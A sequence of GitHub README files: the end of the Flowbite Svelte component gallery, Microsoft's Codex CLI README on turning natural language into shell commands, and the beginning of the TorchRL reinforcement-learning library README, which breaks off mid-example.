src="https://flowbite.s3.amazonaws.com/github/svelte/table.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/toast"> <img alt="Svelte Toast" src="https://flowbite.s3.amazonaws.com/github/svelte/toast.jpg"> </a> </td> </tr> <tr> <td width="33.3333%">Tooltip</td> <td width="33.3333%">Datepicker</td> <td width="33.3333%">Spinner</td> </tr> <tr> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/tooltip"> <img alt="Svelte Tooltips" src="https://flowbite.s3.amazonaws.com/github/svelte/tooltips.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/experimental/datepicker"> <img alt="Svelte Datepicker" src="https://flowbite.s3.amazonaws.com/github/svelte/datepicker.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/spinner"> <img alt="Svelte Spinner" src="https://flowbite.s3.amazonaws.com/github/svelte/spinner.jpg"> </a> </td> </tr> <tr> <td width="33.3333%">Footer</td> <td width="33.3333%">Accordion</td> <td width="33.3333%">Sidebar</td> </tr> <tr> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/footer"> <img alt="Svelte Footer" src="https://flowbite.s3.amazonaws.com/github/svelte/footer.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/accordion"> <img alt="Svelte Accordion" src="https://flowbite.s3.amazonaws.com/github/svelte/accordion.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/sidebar"> <img alt="Svelte Sidebar" src="https://flowbite.s3.amazonaws.com/github/svelte/sidebar.jpg"> </a> </td> </tr> <tr> <td width="33.3333%">Carousel</td> <td width="33.3333%">Avatar</td> <td width="33.3333%">Rating</td> </tr> <tr> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/carousel"> <img alt="Svelte Carousel" src="https://flowbite.s3.amazonaws.com/github/svelte/carousel.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/avatar"> <img alt="Svelte Avatar" src="https://flowbite.s3.amazonaws.com/github/svelte/avatar.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/rating"> <img alt="Svelte Rating" src="https://flowbite.s3.amazonaws.com/github/svelte/rating.jpg"> </a> </td> </tr> <tr> <td width="33.3333%">Input Field</td> <td width="33.3333%">File Input</td> <td width="33.3333%">Search Input</td> </tr> <tr> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/forms/input-field"> <img alt="Svelte Input Field" src="https://flowbite.s3.amazonaws.com/github/svelte/input-field.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/forms/file-input"> <img alt="Svelte File Input" src="https://flowbite.s3.amazonaws.com/github/svelte/file-input.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/forms/search-input"> <img alt="Svelte Search Input" src="https://flowbite.s3.amazonaws.com/github/svelte/search-input.jpg"> </a> </td> </tr> <tr> <td width="33.3333%">Select</td> <td width="33.3333%">Textarea</td> <td width="33.3333%">Checkbox</td> </tr> <tr> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/forms/select"> <img alt="Svelte Select" src="https://flowbite.s3.amazonaws.com/github/svelte/select.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/forms/textarea"> <img alt="Svelte Textarea" src="https://flowbite.s3.amazonaws.com/github/svelte/textarea.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/forms/checkbox"> <img alt="Svelte Checkbox" src="https://flowbite.s3.amazonaws.com/github/svelte/checkbox.jpg"> </a> </td> </tr> <tr> <td width="33.3333%">Radio</td> <td width="33.3333%">Toggle</td> <td width="33.3333%">Range Slider</td> </tr> <tr> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/forms/radio"> <img alt="Svelte Radio" src="https://flowbite.s3.amazonaws.com/github/svelte/radio.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/forms/toggle"> <img alt="Svelte Toggle" src="https://flowbite.s3.amazonaws.com/github/svelte/toggle.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/forms/range"> <img alt="Svelte Range Slider" src="https://flowbite.s3.amazonaws.com/github/svelte/range-slider.jpg"> </a> </td> </tr> <tr> <td width="33.3333%">Floating Label</td> <td width="33.3333%">Mega Menu</td> <td width="33.3333%">Skeleton</td> </tr> <tr> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/forms/floating-label"> <img alt="Svelte Floating Label" src="https://flowbite.s3.amazonaws.com/github/svelte/floating-label.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/mega-menu"> <img alt="Svelte Mega Menu" src="https://flowbite.s3.amazonaws.com/github/svelte/mega-menu.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/skeleton"> <img alt="Svelte Skeleton" src="https://flowbite.s3.amazonaws.com/github/svelte/skeleton.jpg"> </a> </td> </tr> <tr> <td width="33.3333%">KBD (keyboard)</td> <td width="33.3333%">Drawer (offcanvas)</td> <td width="33.3333%">Popover</td> </tr> <tr> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/kbd"> <img alt="Svelte KBD (Keyboard)" src="https://flowbite.s3.amazonaws.com/github/svelte/kbd.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/drawer"> <img alt="Svelte Drawer (offcanvas)" src="https://flowbite.s3.amazonaws.com/github/svelte/drawer.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/popover"> <img alt="Svelte Popover" src="https://flowbite.s3.amazonaws.com/github/svelte/popover.jpg"> </a> </td> </tr> <tr> <td width="33.3333%">Video</td> <td width="33.3333%">Heading</td> <td width="33.3333%">Paragraph</td> </tr> <tr> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/video"> <img alt="Svelte Video" src="https://flowbite.s3.amazonaws.com/github/svelte/video.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/typography/heading"> <img alt="Svelte Heading" src="https://flowbite.s3.amazonaws.com/github/svelte/heading.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/typography/paragraph"> <img alt="Svelte Paragraph" src="https://flowbite.s3.amazonaws.com/github/svelte/paragraph.jpg"> </a> </td> </tr> <tr> <td width="33.3333%">Blockquote</td> <td width="33.3333%">Image</td> <td width="33.3333%">List</td> </tr> <tr> <td width="33.3333%"> <a href="https://flowbite-svelte.com/typography/blockquote"> <img alt="Svelte Blockquote" src="https://flowbite.s3.amazonaws.com/github/svelte/blockquote.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/typography/image"> <img alt="Svelte Image" src="https://flowbite.s3.amazonaws.com/github/svelte/image.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/typography/list"> <img alt="Svelte List" src="https://flowbite.s3.amazonaws.com/github/svelte/list.jpg"> </a> </td> </tr> <tr> <td width="33.3333%">Link</td> <td width="33.3333%">Text</td> <td width="33.3333%">Horizontal line (HR)</td> </tr> <tr> <td width="33.3333%"> <a href="https://flowbite-svelte.com/typography/link"> <img alt="Svelte Link" src="https://flowbite.s3.amazonaws.com/github/svelte/link.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/typography/text"> <img alt="Svelte Text" src="https://flowbite.s3.amazonaws.com/github/svelte/text.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/typography/hr"> <img alt="Svelte HR" src="https://flowbite.s3.amazonaws.com/github/svelte/hr.jpg"> </a> </td> </tr> <tr> <td width="33.3333%">Speed Dial</td> <td width="33.3333%">Stepper(TBA)</td> <td width="33.3333%">Indicators</td> </tr> <tr> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/speed-dial"> <img alt="Svelte Speed Dial" src="https://flowbite.s3.amazonaws.com/github/svelte/dial.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com"> <img alt="Svelte Stepper" src="https://flowbite.s3.amazonaws.com/github/svelte/stepper.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/indicators"> <img alt="Svelte Indicators" src="https://flowbite.s3.amazonaws.com/github/svelte/indicators.jpg"> </a> </td> </tr> <tr> <td width="33.3333%">Bottom Navigation</td> <td width="33.3333%">Sticky Banner</td> <td width="33.3333%">Gallery (Masonry)</td> </tr> <tr> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/bottom-navigation"> <img alt="Svelte Bottom Navigation Bar" src="https://flowbite.s3.amazonaws.com/github/svelte/bottom-bar.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/banner"> <img alt="Svelte Bottom Sticky Banner" src="https://flowbite.s3.amazonaws.com/github/svelte/banner.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/gallery"> <img alt="Svelte Image Gallery (Masonry)" src="https://flowbite.s3.amazonaws.com/github/svelte/gallery.jpg"> </a> </td> </tr> </table> ## Community If you need help or just want to discuss about the library join the community on Github: ⌨️ [Discuss about Flowbite on GitHub](https://github.com/themesberg/flowbite-svelte/discussions) For casual chatting with others using the library: 💬 [Join the Flowbite Discord Server](https://discord.gg/4eeurUVvTy) ## Contribute Please read [how to contribute](https://github.com/themesberg/flowbite-svelte/blob/main/CONTRIBUTING.md) if you'd like to be part of the Flowbite community of contributors. ## Changelog View the full [changelog](https://github.com/themesberg/flowbite-svelte/blob/main/CHANGELOG.md) on this page. ## License Flowbite Svelte is open-source under the [MIT License](https://flowbite-svelte.com/docs/pages/license).

Official Svelte components built for Flowbite and Tailwind CSS

svelte,components,sveltejs,ui-components,accordion,tabs,timelines,tooltips,spinners,sidebar

microsoft/Codex-CLI

# Codex CLI - Natural Language Command Line Interface This project uses [GPT-3 Codex](https://openai.com/blog/openai-codex/) to convert natural language commands into commands in PowerShell, Z shell and Bash.  The Command Line Interface (CLI) was the first major User Interface we used to interact with machines. It's incredibly powerful, you can do almost anything with a CLI, but it requires the user to express their intent extremely precisely. The user needs to _know the language of the computer_. With the advent of Large Language Models (LLMs), particularly those that have been trained on code, it's possible to interact with a CLI using Natural Language (NL). In effect, these models understand natural language _and_ code well enough that they can translate from one to another. This project aims to offer a cross-shell NL->Code experience to allow users to interact with their favorite CLI using NL. The user enters a command, like "what's my IP address", hits `Ctrl + G` and gets a suggestion for a command idiomatic to the shell they're using. The project uses the GPT-3 Codex model off-the-shelf, meaning the model has not been explicitly trained for the task. Instead we rely on a discipline called prompt engineering (see [section](#prompt-engineering-and-context-files) below) to coax the right commands from Codex. **Note: The model can still make mistakes! Don't run a command if you don't understand it. If you're not sure what a command does, hit `Ctrl + C` to cancel it**. This project took technical inspiration from the [zsh_codex](https://github.com/tom-doerr/zsh_codex) project, extending its functionality to span multiple shells and to customize the prompts passed to the model (see prompt engineering section below). ## Statement of Purpose This repository aims to grow the understanding of using Codex in applications by providing an example of implementation and references to support the [Microsoft Build conference in 2022](https://mybuild.microsoft.com/). It is not intended to be a released product. Therefore, this repository is not for discussing OpenAI API or requesting new features. ## Requirements * [Python 3.7.1+](https://www.python.org/downloads/) * \[Windows\]: Python is added to PATH. * An [OpenAI account](https://openai.com/api/) * [OpenAI API Key](https://beta.openai.com/account/api-keys). * [OpenAI Organization Id](https://beta.openai.com/account/org-settings). If you have multiple organizations, please update your [default organization](https://beta.openai.com/account/api-keys) to the one that has access to codex engines before getting the organization Id. * [OpenAI Engine Id](https://beta.openai.com/docs/engines/codex-series-private-beta). It provides access to a model. For example, `code-davinci-002` or `code-cushman-001`. See [here](#what-openai-engines-are-available-to-me) for checking available engines. ## Installation Please follow the installation instructions for PowerShell, bash or zsh from [here](./Installation.md). ## Usage Once configured for your shell of preference, you can use the Codex CLI by writing a comment (starting with `#`) into your shell, and then hitting `Ctrl + G`. The Codex CLI supports two primary modes: single-turn and multi-turn. By default, multi-turn mode is off. It can be toggled on and off using the `# start multi-turn` and `# stop multi-turn` commands. If the multi-turn mode is on, the Codex CLI will "remember" past interactions with the model, allowing you to refer back to previous actions and entities. If, for example, you asked the Codex CLI to change your time zone to mountain, and then said "change it back to pacific", the model would have the context from the previous interaction to know that "it" is the user's timezone: ```powershell # change my timezone to mountain tzutil /s "Mountain Standard Time" # change it back to pacific tzutil /s "Pacific Standard Time" ``` The tool creates a `current_context.txt` file that keeps track of past interactions, and passes them to the model on each subsequent command. When multi-turn mode is off, this tool will not keep track of interaction history. There are tradeoffs to using multi-turn mode - though it enables compelling context resolution, it also increases overhead. If, for example, the model produces the wrong script for the job, the user will want to remove that from the context, otherwise future conversation turns will be more likely to produce the wrong script again. With multi-turn mode off, the model will behave completely deterministically - the same command will always produce the same output. Any time the model seems to output consistently incorrect commands, you can use the `# stop multi-turn` command to stop the model from remembering past interactions and load in your default context. Alternatively, the `# default context` command does the same while preserving the multi-turn mode as on. ## Commands | Command | Description | |--|--| | `start multi-turn` | Starts a multi-turn experience | | `stop multi-turn` | Stops a multi-turn experience and loads default context | | `load context <filename>` | Loads the context file from `contexts` folder | | `default context` | Loads default shell context | | `view context` | Opens the context file in a text editor | | `save context <filename>` | Saves the context file to `contexts` folder, if name not specified, uses current date-time | | `show config` | Shows the current configuration of your interaction with the model | | `set <config-key> <config-value>` | Sets the configuration of your interaction with the model | Feel free to improve your experience by changing the token limit, engine id and temperature using the set command. For example, `# set engine cushman-codex`, `# set temperature 0.5`, `# set max_tokens 50`. ## Prompt Engineering and Context Files This project uses a discipline called _prompt engineering_ to coax GPT-3 Codex to generate commands from natural language. Specifically, we pass the model a series of examples of NL->Commands, to give it a sense of the kind of code it should be writing, and also to nudge it towards generating commands idiomatic to the shell you're using. These examples live in the `contexts` directory. See snippet from the PowerShell context below: ```powershell # what's the weather in New York? (Invoke-WebRequest -uri "wttr.in/NewYork").Content # make a git ignore with node modules and src in it "node_modules src" | Out-File .gitignore # open it in notepad notepad .gitignore ``` Note that this project models natural language commands as comments, and provide examples of the kind of PowerShell scripts we expect the model to write. These examples include single line completions, multi-line completions, and multi-turn completions (the "open it in notepad" example refers to the `.gitignore` file generated on the previous turn). When a user enters a new command (say "what's my IP address"), we simple append that command onto the context (as a comment) and ask Codex to generate the code that should follow it. Having seen the examples above, Codex will know that it should write a short PowerShell script that satisfies the comment. ## Building your own Contexts This project comes pre-loaded with contexts for each shell, along with some bonus contexts with other capabilities. Beyond these, you can build your own contexts to coax other behaviors out of the model. For example, if you want the Codex CLI to produce Kubernetes scripts, you can create a new context with examples of commands and the `kubectl` script the model might produce: ```bash # make a K8s cluster IP called my-cs running on 5678:8080 kubectl create service clusterip my-cs --tcp=5678:8080 ``` Add your context to the `contexts` folder and run `load context <filename>` to load it. You can also change the default context from to your context file inside `src\prompt_file.py`. Note that Codex will often produce correct scripts without any examples. Having been trained on a large corpus of code, it frequently knows how to produce specific commands. That said, building your own contexts helps coax the specific kind of script you're looking for - whether it's long or short, whether it declares variables or not, whether it refers back to previous commands, etc. You can also provide examples of your own CLI commands and scripts, to show Codex other tools it should consider using. One important thing to consider is that if you add a new context, keep the multi-turn mode on to avoid our automatic defaulting (which was added to keep faulty contexts from breaking your experience). We have added a [cognitive services context](./contexts/CognitiveServiceContext.md) which uses the cognitive services API to provide text to speech type responses as an example. ## Troubleshooting Use `DEBUG_MODE` to use a terminal input instead of the stdin and debug the code. This is useful when adding new commands and understanding why the tool is unresponsive. Sometimes the `openai` package will throws errors that aren't caught by the tool, you can add a catch block at the end of `codex_query.py` for that exception and print a custom error message. ## FAQ ### What OpenAI engines are available to me? You might have access to different [OpenAI engines](https://beta.openai.com/docs/api-reference/engines) per OpenAI organization. To check what engines are available to you, one can query the [List engines API](https://beta.openai.com/docs/api-reference/engines/list) for available engines. See the following commands: * Shell ``` curl https://api.openai.com/v1/engines \ -H 'Authorization: Bearer YOUR_API_KEY' \ -H 'OpenAI-Organization: YOUR_ORG_ID' ``` * PowerShell PowerShell v5 (The default one comes with Windows) ```powershell (Invoke-WebRequest -Uri https://api.openai.com/v1/engines -Headers @{"Authorization" = "Bearer YOUR_API_KEY"; "OpenAI-Organization" = "YOUR_ORG_ID"}).Content ``` PowerShell v7 ```powershell (Invoke-WebRequest -Uri https://api.openai.com/v1/engines -Authentication Bearer -Token (ConvertTo-SecureString "YOUR_API_KEY" -AsPlainText -Force) -Headers @{"OpenAI-Organization" = "YOUR_ORG_ID"}).Content ``` ### Can I run the sample on Azure? The sample code can be currently be used with Codex on OpenAI’s API. In the coming months, the sample will be updated so you can also use it with the [Azure OpenAI Service](https://aka.ms/azure-openai).

CLI tool that uses Codex to turn natural language commands into their Bash/ZShell/PowerShell equivalents

pytorch/rl

[](https://github.com/pytorch/rl/actions/workflows/test-linux.yml) [](https://pytorch.org/rl/) [](https://pytorch.github.io/rl/dev/bench/) [](https://codecov.io/gh/pytorch/rl) [](https://twitter.com/torchrl1) [](https://www.python.org/downloads/) [](https://github.com/pytorch/rl/blob/main/LICENSE) <a href="https://pypi.org/project/torchrl"><img src="https://img.shields.io/pypi/v/torchrl" alt="pypi version"></a> <a href="https://pypi.org/project/torchrl-nightly"><img src="https://img.shields.io/pypi/v/torchrl-nightly?label=nightly" alt="pypi nightly version"></a> [](https://pepy.tech/project/torchrl) [)](https://pepy.tech/project/torchrl-nightly) [](https://discord.gg/cZs26Qq3Dd) # TorchRL <p align="center"> <img src="docs/source/_static/img/icon.png" width="200" > </p> [**Documentation**](#documentation-and-knowledge-base) | [**TensorDict**](#writing-simplified-and-portable-rl-codebase-with-tensordict) | [**Features**](#features) | [**Examples, tutorials and demos**](#examples-tutorials-and-demos) | [**Citation**](#citation) | [**Installation**](#installation) | [**Asking a question**](#asking-a-question) | [**Contributing**](#contributing) **TorchRL** is an open-source Reinforcement Learning (RL) library for PyTorch. It provides pytorch and **python-first**, low and high level abstractions for RL that are intended to be **efficient**, **modular**, **documented** and properly **tested**. The code is aimed at supporting research in RL. Most of it is written in python in a highly modular way, such that researchers can easily swap components, transform them or write new ones with little effort. This repo attempts to align with the existing pytorch ecosystem libraries in that it has a dataset pillar ([torchrl/envs](https://github.com/pytorch/rl/blob/main/torchrl/envs)), [transforms](https://github.com/pytorch/rl/blob/main/torchrl/envs/transforms), [models](https://github.com/pytorch/rl/blob/main/torchrl/modules), data utilities (e.g. collectors and containers), etc. TorchRL aims at having as few dependencies as possible (python standard library, numpy and pytorch). Common environment libraries (e.g. OpenAI gym) are only optional. On the low-level end, torchrl comes with a set of highly re-usable functionals for cost functions, returns and data processing. TorchRL aims at (1) a high modularity and (2) good runtime performance. Read the [full paper](https://arxiv.org/abs/2306.00577) for a more curated description of the library. ## Getting started Check our [Getting Started tutorials](https://pytorch.org/rl/stable/index.html#getting-started) for quickly ramp up with the basic features of the library! ## Documentation and knowledge base The TorchRL documentation can be found [here](https://pytorch.org/rl). It contains tutorials and the API reference. TorchRL also provides a RL knowledge base to help you debug your code, or simply learn the basics of RL. Check it out [here](https://pytorch.org/rl/stable/reference/knowledge_base.html). We have some introductory videos for you to get to know the library better, check them out: - [TorchRL intro at PyTorch day 2022](https://youtu.be/cIKMhZoykEE) - [PyTorch 2.0 Q&A: TorchRL](https://www.youtube.com/live/myEfUoYrbts?feature=share) ## Writing simplified and portable RL codebase with `TensorDict` RL algorithms are very heterogeneous, and it can be hard to recycle a codebase across settings (e.g. from online to offline, from state-based to pixel-based learning). TorchRL solves this problem through [`TensorDict`](https://github.com/pytorch/tensordict/), a convenient data structure⁽¹⁾ that can be used to streamline one's RL codebase. With this tool, one can write a *complete PPO training script in less than 100 lines of code*! <details> <summary>Code</summary> ```python import torch from tensordict.nn import TensorDictModule from tensordict.nn.distributions import NormalParamExtractor from torch import nn from torchrl.collectors import SyncDataCollector from torchrl.data.replay_buffers import TensorDictReplayBuffer, \ LazyTensorStorage, SamplerWithoutReplacement from torchrl.envs.libs.gym import GymEnv from torchrl.modules import ProbabilisticActor, ValueOperator, TanhNormal from torchrl.objectives import ClipPPOLoss from torchrl.objectives.value import GAE env = GymEnv("Pendulum-v1") model = TensorDictModule( nn.Sequential( nn.Linear(3, 128), nn.Tanh(), nn.Linear(128, 128), nn.Tanh(), nn.Linear(128, 128), nn.Tanh(), nn.Linear(128, 2), NormalParamExtractor() ), in_keys=["observation"], out_keys=["loc", "scale"] ) critic = ValueOperator( nn.Sequential( nn.Linear(3, 128), nn.Tanh(), nn.Linear(128, 128), nn.Tanh(), nn.Linear(128, 128), nn.Tanh(), nn.Linear(128, 1), ), in_keys=["observation"], ) actor = ProbabilisticActor( model, in_keys=["loc", "scale"], distribution_class=TanhNormal, distribution_kwargs={"min": -1.0, "max": 1.0}, return_log_prob=True ) buffer = TensorDictReplayBuffer( LazyTensorStorage(1000), SamplerWithoutReplacement() ) collector = SyncDataCollector( env, actor, frames_per_batch=1000, total_frames=1_000_000 ) loss_fn = ClipPPOLoss(actor, critic, gamma=0.99) optim = torch.optim.Adam(loss_fn.parameters(), lr=2e-4) adv_fn = GAE(value_network=critic, gamma=0.99, lmbda=0.95, average_gae=True) for data in collector: # collect data for epoch in range(10): adv_fn(data) # compute advantage buffer.extend(data.view(-1)) for i in range(20): # consume data sample = buffer.sample(50) # mini-batch loss_vals = loss_fn(sample) loss_val = sum( value for key, value in loss_vals.items() if key.startswith("loss") ) loss_val.backward() optim.step() optim.zero_grad() print(f"avg reward: {data['next', 'reward'].mean().item(): 4.4f}") ``` </details> Here is an example of how the [environment API](https://pytorch.org/rl/stable/reference/envs.html) relies on tensordict to carry data from one function to another during a rollout execution:  `TensorDict` makes it easy to re-use pieces of code across environments, models and algorithms. <details> <summary>Code</summary> For instance, here's how to code a rollout in TorchRL: ```diff - obs, done = env.reset() + tensordict = env.reset() policy = SafeModule( model, in_keys=["observation_pixels", "observation_vector"], out_keys=["action"], ) out = [] for i in range(n_steps): - action, log_prob = policy(obs) - next_obs, reward, done, info = env.step(action) - out.append((obs, next_obs, action, log_prob, reward, done)) - obs = next_obs + tensordict = policy(tensordict) + tensordict = env.step(tensordict) + out.append(tensordict) + tensordict = step_mdp(tensordict) # renames next_observation_* keys to observation_* - obs, next_obs, action, log_prob, reward, done = [torch.stack(vals, 0) for vals in zip(*out)] + out = torch.stack(out, 0) # TensorDict supports multiple tensor operations ``` </details> Using this, TorchRL abstracts away the input / output signatures of the modules, env, collectors, replay buffers and losses of the library, allowing all primitives to be easily recycled across settings. <details> <summary>Code</summary> Here's another example of an off-policy training loop in TorchRL (assuming that a data collector, a replay buffer, a loss and an optimizer have been instantiated): ```diff - for i, (obs, next_obs, action, hidden_state, reward, done) in enumerate(collector): + for i, tensordict in enumerate(collector): - replay_buffer.add((obs, next_obs, action, log_prob, reward, done)) + replay_buffer.add(tensordict) for j in range(num_optim_steps): - obs, next_obs, action, hidden_state, reward, done = replay_buffer.sample(batch_size) - loss = loss_fn(obs, next_obs, action, hidden_state, reward, done) + tensordict = replay_buffer.sample(batch_size) + loss = loss_fn(tensordict) loss.backward() optim.step() optim.zero_grad() ``` This training loop can be re-used across algorithms as it makes a minimal number of assumptions about the structure of the data. </details> TensorDict supports multiple tensor operations on its device and shape (the shape of TensorDict, or its batch size, is the common arbitrary N first dimensions of all its contained tensors): <details> <summary>Code</summary> ```python # stack and cat tensordict = torch.stack(list_of_tensordicts, 0) tensordict = torch.cat(list_of_tensordicts, 0) # reshape tensordict = tensordict.view(-1) tensordict = tensordict.permute(0, 2, 1) tensordict = tensordict.unsqueeze(-1) tensordict = tensordict.squeeze(-1) # indexing tensordict = tensordict[:2] tensordict[:, 2] = sub_tensordict # device and memory location tensordict.cuda() tensordict.to("cuda:1") tensordict.share_memory_() ``` </details> TensorDict comes with a dedicated [`tensordict.nn`](https://pytorch.github.io/tensordict/reference/nn.html) module that contains everything you might need to write your model with it. And it is `functorch` and `torch.compile` compatible! <details> <summary>Code</summary> ```diff transformer_model = nn.Transformer(nhead=16, num_encoder_layers=12) + td_module = SafeModule(transformer_model, in_keys=["src", "tgt"], out_keys=["out"]) src = torch.rand((10, 32, 512)) tgt = torch.rand((20, 32, 512)) + tensordict = TensorDict({"src": src, "tgt": tgt}, batch_size=[20, 32]) - out = transformer_model(src, tgt) + td_module(tensordict) + out = tensordict["out"] ``` The `TensorDictSequential` class allows to branch sequences of `nn.Module` instances in a highly modular way. For instance, here is an implementation of a transformer using the encoder and decoder blocks: ```python encoder_module = TransformerEncoder(...) encoder = TensorDictSequential(encoder_module, in_keys=["src", "src_mask"], out_keys=["memory"]) decoder_module = TransformerDecoder(...) decoder = TensorDictModule(decoder_module, in_keys=["tgt", "memory"], out_keys=["output"]) transformer = TensorDictSequential(encoder, decoder) assert transformer.in_keys == ["src", "src_mask", "tgt"] assert transformer.out_keys == ["memory", "output"] ``` `TensorDictSequential` allows to isolate subgraphs by querying a set of desired input / output keys: ```python transformer.select_subsequence(out_keys=["memory"]) # returns the encoder transformer.select_subsequence(in_keys=["tgt", "memory"]) # returns the decoder ``` </details> Check [TensorDict tutorials](https://pytorch.github.io/tensordict/) to learn more! ## Features - A common [interface for environments](https://github.com/pytorch/rl/blob/main/torchrl/envs) which supports common libraries (OpenAI gym, deepmind control lab, etc.)⁽¹⁾ and state-less execution (e.g. Model-based environments). The [batched environments](https://github.com/pytorch/rl/blob/main/torchrl/envs/batched_envs.py) containers allow parallel execution⁽²⁾. A common PyTorch-first class of [tensor-specification class](https://github.com/pytorch/rl/blob/main/torchrl/data/tensor_specs.py) is also provided. TorchRL's environments API is simple but stringent and specific. Check the [documentation](https://pytorch.org/rl/stable/reference/envs.html) and [tutorial](https://pytorch.org/rl/stable/tutorials/pendulum.html) to learn more! <details> <summary>Code</summary> ```python env_make = lambda: GymEnv("Pendulum-v1", from_pixels=True) env_parallel = ParallelEnv(4, env_make) # creates 4 envs in parallel tensordict = env_parallel.rollout(max_steps=20, policy=None) # random rollout (no policy given) assert tensordict.shape == [4, 20] # 4 envs, 20 steps rollout env_parallel.action_spec.is_in(tensordict["action"]) # spec check returns True ``` </details> - multiprocess and distributed [data collectors](https://github.com/pytorch/rl/blob/main/torchrl/collectors/collectors.py)⁽²⁾ that work synchronously or asynchronously. Through the use of TensorDict, TorchRL's training loops are made very similar to regular training loops in supervised learning (although the "dataloader" -- read data collector -- is modified on-the-fly): <details> <summary>Code</summary> ```python env_make = lambda: GymEnv("Pendulum-v1", from_pixels=True) collector = MultiaSyncDataCollector( [env_make, env_make], policy=policy, devices=["cuda:0", "cuda:0"], total_frames=10000, frames_per_batch=50, ... ) for i, tensordict_data in enumerate(collector): loss = loss_module(tensordict_data) loss.backward() optim.step() optim.zero_grad() collector.update_policy_weights_() ``` </details> Check our [distributed collector examples](https://github.com/pytorch/rl/blob/main/examples/distributed/collectors) to learn more about ultra-fast data collection with TorchRL. - efficient⁽²⁾ and generic⁽¹⁾ [replay buffers](https://github.com/pytorch/rl/blob/main/torchrl/data/replay_buffers/replay_buffers.py) with modularized storage: <details> <summary>Code</summary> ```python storage = LazyMemmapStorage( # memory-mapped (physical) storage cfg.buffer_size, scratch_dir="/tmp/" ) buffer = TensorDictPrioritizedReplayBuffer( alpha=0.7, beta=0.5, collate_fn=lambda x: x, pin_memory=device != torch.device("cpu"), prefetch=10, # multi-threaded sampling storage=storage ) ``` </details> Replay buffers are also offered as wrappers around common datasets for *offline RL*: <details> <summary>Code</summary> ```python from torchrl.data.replay_buffers import SamplerWithoutReplacement from torchrl.data.datasets.d4rl import D4RLExperienceReplay data = D4RLExperienceReplay( "maze2d-open-v0", split_trajs=True, batch_size=128, sampler=SamplerWithoutReplacement(drop_last=True), ) for sample in data: # or alternatively sample = data.sample() fun(sample) ``` </details> - cross-library [environment transforms](https://github.com/pytorch/rl/blob/main/torchrl/envs/transforms/transforms.py)⁽¹⁾, executed on device and in a vectorized fashion⁽²⁾, which process and prepare the data coming out of the environments to be used by the agent: <details> <summary>Code</summary> ```python env_make = lambda: GymEnv("Pendulum-v1", from_pixels=True) env_base = ParallelEnv(4, env_make, device="cuda:0") # creates 4 envs in parallel env = TransformedEnv( env_base, Compose( ToTensorImage(), ObservationNorm(loc=0.5, scale=1.0)), # executes the transforms once and on device ) tensordict = env.reset() assert tensordict.device == torch.device("cuda:0") ``` Other transforms include: reward scaling (`RewardScaling`), shape operations (concatenation of tensors, unsqueezing etc.), concatenation of successive operations (`CatFrames`), resizing (`Resize`) and many more. Unlike other libraries, the transforms are stacked as a list (and not wrapped in each other), which makes it easy to add and remove them at will: ```python env.insert_transform(0, NoopResetEnv()) # inserts the NoopResetEnv transform at the index 0 ``` Nevertheless, transforms can access and execute operations on the parent environment: ```python transform = env.transform[1] # gathers the second transform of the list parent_env = transform.parent # returns the base environment of the second transform, i.e. the base env + the first transform ``` </details> - various tools for distributed learning (e.g. [memory mapped tensors](https://github.com/pytorch/tensordict/blob/main/tensordict/memmap.py))⁽²⁾; - various [architectures](https://github.com/pytorch/rl/blob/main/torchrl/modules/models/) and models (e.g. [actor-critic](https://github.com/pytorch/rl/blob/main/torchrl/modules/tensordict_module/actors.py))⁽¹⁾: <details> <summary>Code</summary> ```python # create an nn.Module common_module = ConvNet( bias_last_layer=True, depth=None, num_cells=[32, 64, 64], kernel_sizes=[8, 4, 3], strides=[4, 2, 1], ) # Wrap it in a SafeModule, indicating what key to read in and where to # write out the output common_module = SafeModule( common_module, in_keys=["pixels"], out_keys=["hidden"], ) # Wrap the policy module in NormalParamsWrapper, such that the output # tensor is split in loc and scale, and scale is mapped onto a positive space policy_module = SafeModule( 